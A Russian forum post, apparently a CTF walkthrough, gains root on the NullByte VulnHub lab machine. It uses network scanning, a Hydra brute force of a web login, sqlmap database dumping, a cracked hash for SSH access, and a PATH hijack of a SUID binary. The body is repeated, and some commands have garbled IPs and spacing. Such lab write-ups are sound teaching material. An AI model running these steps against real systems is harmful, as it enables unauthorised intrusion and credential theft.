Vander
28.11.2016, 20:08
Всем привет! В этой статье я опишу взлом уязвимой машины в рамках соревнований CTF.
Называется она NullByte VM (CTF Challenge)Для начала скачаем образ виртуальной машины отсюда => https://www.vulnhub.com/entry/nullbyte-1,126/. Затем импортируем его, например, в VMware.
https://forum.antichat.xyz/attachments/28943883/img_638f400fa8.png
В качестве атакуемой машины, мной будет использоваться Kali Linux 2016.1 Rolling.
Начнем как обычно со сканирования своей сети, дабы обнаружить NullByte.
> arp-scan 192.168.0.1/16
https://forum.antichat.xyz/attachments/28943883/img_fb0a239053.png
В моем случае целевой хост имеет адрес192.168.0.109.
Так же по традиции, запустим nmap в режиме агрессивного сканирования.
> nmap –A 192.168.0.109
https://forum.antichat.xyz/attachments/28943883/img_1458f29c8e.png
Видим информацию о трех открытых портах, если с 777 и 80 все предельно ясно, а вот назначение 111 мне пока не ясно, возможно вернемся к нему позже.
Пока попробуем посмотреть, что же находится на 80 порту, зайдем на сервер по адресу 192.169.0.109:80.
https://forum.antichat.xyz/attachments/28943883/img_08dd89889e.png
Замечательная картинка и все… Пока ничего не ясно. Есть вариант посмотреть метаданные, так как они точно есть, это видно в исходном коде элемента. Перепробовав несколько онлайн сервисов, результата я не получил, виной тому формат .gif. Изрядно погуглив, я вышел на утилитку exiftool, которую можно установить в Kali Linux.
> apt-get install exiftool
https://forum.antichat.xyz/attachments/28943883/img_d527eeec7d.png
Теперь можем просмотреть метаданные.
> exiftool main.gif
https://forum.antichat.xyz/attachments/28943883/img_47387cbce0.png
Строка Comment содержит явную подказку, сразу скажу – это директория, до этого я много пытался с ней сделать. Зайдем на сервер по адресу:
> 192.168.0.109/kzMb5nVYjw
https://forum.antichat.xyz/attachments/28943883/img_3b8d6db5cb.png
Ключа у нас нет, но есть Hydra, ей и воспользуемся. Будем брутить эту форму входа. Для этого в терминале вводим следующую команду:
> hydra 192.168.56.109 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l x -P /usr/share/dict/words -t 10 -w 30
https://forum.antichat.xyz/attachments/28943883/img_3ba5c5e17f.png
Дожидаемся окончания работы Гидры и получаем искомый пароль – elite. Используем его для входа на страницу.
https://forum.antichat.xyz/attachments/28943883/img_b903b6d967.png
Теперь у нас спрашивают имя пользователя, так как никакой информацией мы не располагаем, попробуем подключить к работе sqlmap.
> sqlmap –uhttp://192.168.0.109/kzMb5nVYJw/420search.php?usrtosearch=1–dbs
https://forum.antichat.xyz/attachments/28943883/img_934e119dde.png
Выполнение этого действия дало нам информацию о 5 найденных базах.
https://forum.antichat.xyz/attachments/28943883/img_da990f7693.png
Нас же интересует – seth. Попробуем выжать больше информации следующей командой:
> sqlmap –uhttp://192.168.0.109/kzMb5nVYJw/420search.php?usrtosearch=1–dump –columns –tables –D seth
https://forum.antichat.xyz/attachments/28943883/img_090299479f.png
Теперь у нас есть имя пользователя и хэш пароля.
https://forum.antichat.xyz/attachments/28943883/img_c7c4e0519a.png
Хэш отнесем на любой понравившийся вам онлайн расшифровщик. Но перед этим приведем его в вид base64.
> echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 –d
https://forum.antichat.xyz/attachments/28943883/img_277bdc930d.png
Теперь у нас на руках есть учетные данные одного пользователя.
https://forum.antichat.xyz/attachments/28943883/img_7d31226bf6.png
Пароль – omega, логин – ramses. Попробуем эту связку при попытке доступа по SSH.
> sshramses@192.168.0.109–p 777
В результате получаем открытую сессию SSH.
https://forum.antichat.xyz/attachments/28943883/img_fa92d47db4.png
По итогам осмотра содержимого, интересным показался файл procwatch, находящийся в каталоге /var/www/backup. Запустив его, мы видим, что он вызывает список процессов.
https://forum.antichat.xyz/attachments/28943883/img_7f7f366d94.png
Если нам удастся изменить путь файла для ps на sh, то мы сможем добраться до корневого каталога. Для выполнения этой задачи вводим следующие команды:
> cd /tmp
> cp /bin/sh /tmp/ps
> export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
> cd /var/www/backup
> ./procwatch
> whoami
https://forum.antichat.xyz/attachments/28943883/img_60103bc91b.png
Цель достигнута, мы root, далее выполняем:
> cd /root
> ls –a
> cat proof.txt
https://forum.antichat.xyz/attachments/28943883/img_e812caf1f5.png
На этом прохождение Null Byte можно считать законченным. Спасибо за внимание.
Называется она NullByte VM (CTF Challenge)Для начала скачаем образ виртуальной машины отсюда => https://www.vulnhub.com/entry/nullbyte-1,126/. Затем импортируем его, например, в VMware.
https://forum.antichat.xyz/attachments/28943883/img_638f400fa8.png
В качестве атакуемой машины, мной будет использоваться Kali Linux 2016.1 Rolling.
Начнем как обычно со сканирования своей сети, дабы обнаружить NullByte.
> arp-scan 192.168.0.1/16
https://forum.antichat.xyz/attachments/28943883/img_fb0a239053.png
В моем случае целевой хост имеет адрес192.168.0.109.
Так же по традиции, запустим nmap в режиме агрессивного сканирования.
> nmap –A 192.168.0.109
https://forum.antichat.xyz/attachments/28943883/img_1458f29c8e.png
Видим информацию о трех открытых портах, если с 777 и 80 все предельно ясно, а вот назначение 111 мне пока не ясно, возможно вернемся к нему позже.
Пока попробуем посмотреть, что же находится на 80 порту, зайдем на сервер по адресу 192.169.0.109:80.
https://forum.antichat.xyz/attachments/28943883/img_08dd89889e.png
Замечательная картинка и все… Пока ничего не ясно. Есть вариант посмотреть метаданные, так как они точно есть, это видно в исходном коде элемента. Перепробовав несколько онлайн сервисов, результата я не получил, виной тому формат .gif. Изрядно погуглив, я вышел на утилитку exiftool, которую можно установить в Kali Linux.
> apt-get install exiftool
https://forum.antichat.xyz/attachments/28943883/img_d527eeec7d.png
Теперь можем просмотреть метаданные.
> exiftool main.gif
https://forum.antichat.xyz/attachments/28943883/img_47387cbce0.png
Строка Comment содержит явную подказку, сразу скажу – это директория, до этого я много пытался с ней сделать. Зайдем на сервер по адресу:
> 192.168.0.109/kzMb5nVYjw
https://forum.antichat.xyz/attachments/28943883/img_3b8d6db5cb.png
Ключа у нас нет, но есть Hydra, ей и воспользуемся. Будем брутить эту форму входа. Для этого в терминале вводим следующую команду:
> hydra 192.168.56.109 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l x -P /usr/share/dict/words -t 10 -w 30
https://forum.antichat.xyz/attachments/28943883/img_3ba5c5e17f.png
Дожидаемся окончания работы Гидры и получаем искомый пароль – elite. Используем его для входа на страницу.
https://forum.antichat.xyz/attachments/28943883/img_b903b6d967.png
Теперь у нас спрашивают имя пользователя, так как никакой информацией мы не располагаем, попробуем подключить к работе sqlmap.
> sqlmap –uhttp://192.168.0.109/kzMb5nVYJw/420search.php?usrtosearch=1–dbs
https://forum.antichat.xyz/attachments/28943883/img_934e119dde.png
Выполнение этого действия дало нам информацию о 5 найденных базах.
https://forum.antichat.xyz/attachments/28943883/img_da990f7693.png
Нас же интересует – seth. Попробуем выжать больше информации следующей командой:
> sqlmap –uhttp://192.168.0.109/kzMb5nVYJw/420search.php?usrtosearch=1–dump –columns –tables –D seth
https://forum.antichat.xyz/attachments/28943883/img_090299479f.png
Теперь у нас есть имя пользователя и хэш пароля.
https://forum.antichat.xyz/attachments/28943883/img_c7c4e0519a.png
Хэш отнесем на любой понравившийся вам онлайн расшифровщик. Но перед этим приведем его в вид base64.
> echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 –d
https://forum.antichat.xyz/attachments/28943883/img_277bdc930d.png
Теперь у нас на руках есть учетные данные одного пользователя.
https://forum.antichat.xyz/attachments/28943883/img_7d31226bf6.png
Пароль – omega, логин – ramses. Попробуем эту связку при попытке доступа по SSH.
> sshramses@192.168.0.109–p 777
В результате получаем открытую сессию SSH.
https://forum.antichat.xyz/attachments/28943883/img_fa92d47db4.png
По итогам осмотра содержимого, интересным показался файл procwatch, находящийся в каталоге /var/www/backup. Запустив его, мы видим, что он вызывает список процессов.
https://forum.antichat.xyz/attachments/28943883/img_7f7f366d94.png
Если нам удастся изменить путь файла для ps на sh, то мы сможем добраться до корневого каталога. Для выполнения этой задачи вводим следующие команды:
> cd /tmp
> cp /bin/sh /tmp/ps
> export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
> cd /var/www/backup
> ./procwatch
> whoami
https://forum.antichat.xyz/attachments/28943883/img_60103bc91b.png
Цель достигнута, мы root, далее выполняем:
> cd /root
> ls –a
> cat proof.txt
https://forum.antichat.xyz/attachments/28943883/img_e812caf1f5.png
На этом прохождение Null Byte можно считать законченным. Спасибо за внимание.